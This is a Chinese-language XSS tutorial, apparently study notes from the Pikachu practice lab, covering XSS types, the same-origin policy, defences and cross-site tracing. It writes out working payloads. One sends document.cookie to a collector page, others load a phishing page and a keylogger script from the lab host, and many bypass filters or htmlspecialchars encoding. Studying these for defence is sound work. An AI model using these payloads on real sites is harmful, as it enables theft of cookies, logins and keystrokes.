本文是对xss跨站脚本攻击的相关介绍,希望这篇文章能让你不仅有一定的收获,而且可以愉快的学习,如果有什么建议,都可以留言和我交流
1.xss定义
XSS全称(Cross Site Scripting)跨站脚本攻击,XSS属于客户端攻击,受害者最终是用户,但特别要注意的是网站管理人员也属于用户之一。这就意味着XSS可以进行“服务端”攻击,因为管理员要比普通用户的权限大得多,一般管理员都可以对网站进行文件管理,数据管理等操作,而攻击者一般也是靠管理员身份作为“跳板”进行实施攻击。
XSS攻击最终目的是在网页中嵌入客户端恶意脚本代码,最常用的攻击代码是javascript语言,但也会使用其它的脚本语言
2.xss的原理
参数给变量未经过滤直接输出,输出的时候没有进行html实体编码
3. xss的分类
- 反射性(中危漏洞)
交互的数据一般不会存在数据库里面,只是把用户输入的数据反射给浏览器,一次性,所见即所得
再次点击反射型显示
- 存储型(高危漏洞)
交互的数据存储在数据库里面,永久性存储,具有很强的稳定性
以后每次点击存储型会显示
- DOM型(高危漏洞)
不与后台服务器产生交互的数据,通过前端的DOM节点形成xss漏洞
a标签 <a href='#' οnclick="alert(2222)">what do you see?</a>
4.可能存在xss漏洞的地方
有输入的地方
有更新的地方
有留言的地方
有对话框的地方
5.xss攻击的危害
- 劫持用户的cookie
攻击者要有xss平台 语句为 +document.cookie;
现在的cookies没有东西
首先配置cookies
http://10.0.0.130:91/pikachu/vul/xss/xssblind/admin.php 要在这里查看弹出的地方有xss漏洞
http://10.0.0.130:91/pikachu/vul/xss/xssblind/admin_login.php
http://10.0.0.130:91/pikachu/vul/xss/xssblind/admin_login.php
1111'"><script>document.location='http://10.0.0.130:91/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
- 框架钓鱼
改ip和路径
输入钓鱼语句 <script src="http://10.0.0.130:91/pikachu/pkxss/xfish/fish.php"></script>
出不来清除cookies
再次点击存储型不出现对话框,将cookies清除掉再次点击存储型,出现登录页面
- 键盘记录
<script src="http://10.0.0.130:91/pikachu/pkxss/rkeypress/rk.js"></script>
在页面随便输入都会被记录
6.同源策略
- 什么是跨域
当协议、主机(主域名,子域名)、端口中的任意一个不相同时,称为不同域。我们把不同的域之间请求数据的操作,成为跨域操作。
例:http:// www. baidu.com :80 / news/index.php
协议 子域名 主域名 端口 资源地址
https:// www. baidu.com :80
http:// www.baidu.com :80 协议不同
http:// vip .baidu.com :80
http:// www. baidu.com :80 二级域名不同
http:// www. baidu.com :80
http:// www.baidu.com :82 端口不同
- 同源策略
为了安全考虑,所有浏览器都约定了“同源策略”,同源策略禁止页面加载或执行与自身来源不同的域的任何脚本既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象那么为什么要有同源策略? 比如一个恶意网站的页面通过js嵌入了银行的登录页面(二者不同源),如果没有同源限制,恶意网页上的javascript脚本就可以在用户登录银行的时候获取用户名和密码。
不同域之间不可以相互操作js
- 不受同源策略阻止
<script src="..."> //加载本地js执行
<img src="..."> //图片
<link href="..."> //css 样式
<iframe src="..."> //任意资源 (框架)
- 同源策略修改
后台设置好Access-Control-Allow-Origin,设置为*,既允许所有人访问
c:\phpStudy\WWW\pikachu\pkxss\rkeypress\rkserver.php
header("Access-Control-Allow-Origin:*");
7.xss绕过
- 前端限制绕过(长度)
在搜索栏输入或者右键检查将长度变大
代码显示不全
可以在搜索栏输入
将长度20改为200或者更大
- 如果script被干掉解决方法
大小写混合 '"><sCRipT>alert('你打篮球像oldboy')</sCrIPt>
正常输入不弹出框1111'"><script>alter(1)</script>
'"><sCRipT>alert('你打篮球像oldboy')</sCrIPt>
拼凑绕过/双写
<sc<script>ript>alert('你打篮球像oldboy')</scr<script>ipt>
注释干扰后台绕过
<sc<!--test-->ript>alert('你打篮球像oldboy')</scr<!--tshauie-->ipt>
换html标签
111'"><img src=# οnerrοr="alert('oldboy')"/>
<svg </onload ="1> (_=alert,_(1)) "">
<div onactivate=alert('Xss') id=xss style=overflow:scroll>
<marquee loop=1 width=0 onfinish=alert(1)>
<base target="<script>alert(1)</script>"><a href="javascript:name">CLICK</a>
<Video> <source onerror = "javascript: alert (XSS)">
<Input value = "XSS" type = text>
<a href=javascript:alert(1)>
- 如果alert被过滤掉
可以换函数
<svg </onload ="1> (_=alert,_(1)) "">
拆分法
替换
111'"><sCRipT>confirm(1)</sCrIPt>
111'"><sCRipT>prompt(1)</sCrIPt>
编码
111'"><img src=x οnerrοr="alert('yangshuang')"/>
解码为yangshuang(alert英文要用单引号引起来)
- htmlspecialchars()函数
- htmlspecialchars()函数的作用
把一些预定义的字符转换为 HTML 实体。
干掉单引号双引号尖括号
预定义的字符
& (和号)成为 &
" (双引号)成为 "
’ (单引号)成为'
< (小于)成为 <
>(大于)成为 >
- 原理
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号
- htmlspecialchars()函数配置参数
采用实体html编码,怎末绕过
ENT_COMPAT - 默认。仅编码双引号 没有双引号可绕过)
q' οnclick='alert(111)'
ENT_QUOTES -( 编码双引号和单引号a标签可绕过) 所有的单引号双引号尖括号上面的预定义字符都干掉的时候,直接输入到a标签绕过
ENT_NOQUOTES - 不编码任何引号
- xss之href输出绕过
javascript:alert(1111)
直接代入a标签herf里面一样可以绕过htmlspecialchars
<a href=javascript:alert(1111)>
- xss之js输出绕过
2'</script><script>alert(1111)</script>
ctrl+f
<script>
$ms='1';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
// alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}}
</script>
2'</script><script>alert(1111)</script>
8.XSS常规防范
对输入进行过滤,对输出进行html实体编码
过滤单引号、双引号、尖括号、script、alert
9.跨站跟踪攻击
即CST攻击,是一种利用XSS和HTTP TRACE功能来进行攻击的方式。
浏览器有一个安全策略,通过设置cookie的httponly属性,这样客户端脚本就不能通过document.cookie访问该cookie,即使有XSS漏洞,也不能盗取用户cookie。这个时候就可以利用HTTP TRACE方法来获取到用户的cookie信息。
实战
1.burp抓包
2.修改get/post请求头为TRACE
TRACE作用:客户端发起一个请求时,这个请求可能要穿过防火墙、代理、网关或其他一些应用程序。每个中间节点都可能会修改原始的 HTTP 请求。TRACE 方法允许客户端在 最终将请求发送给服务器时,看看它变成了什么样
3.修改请求包中的任意一个字段
Cookie: <script>alert("TRACE XSS")</script>
4.修改响应包中的显示类型
将Content-Type:message/http 改为 Content-Type:text/html Cookie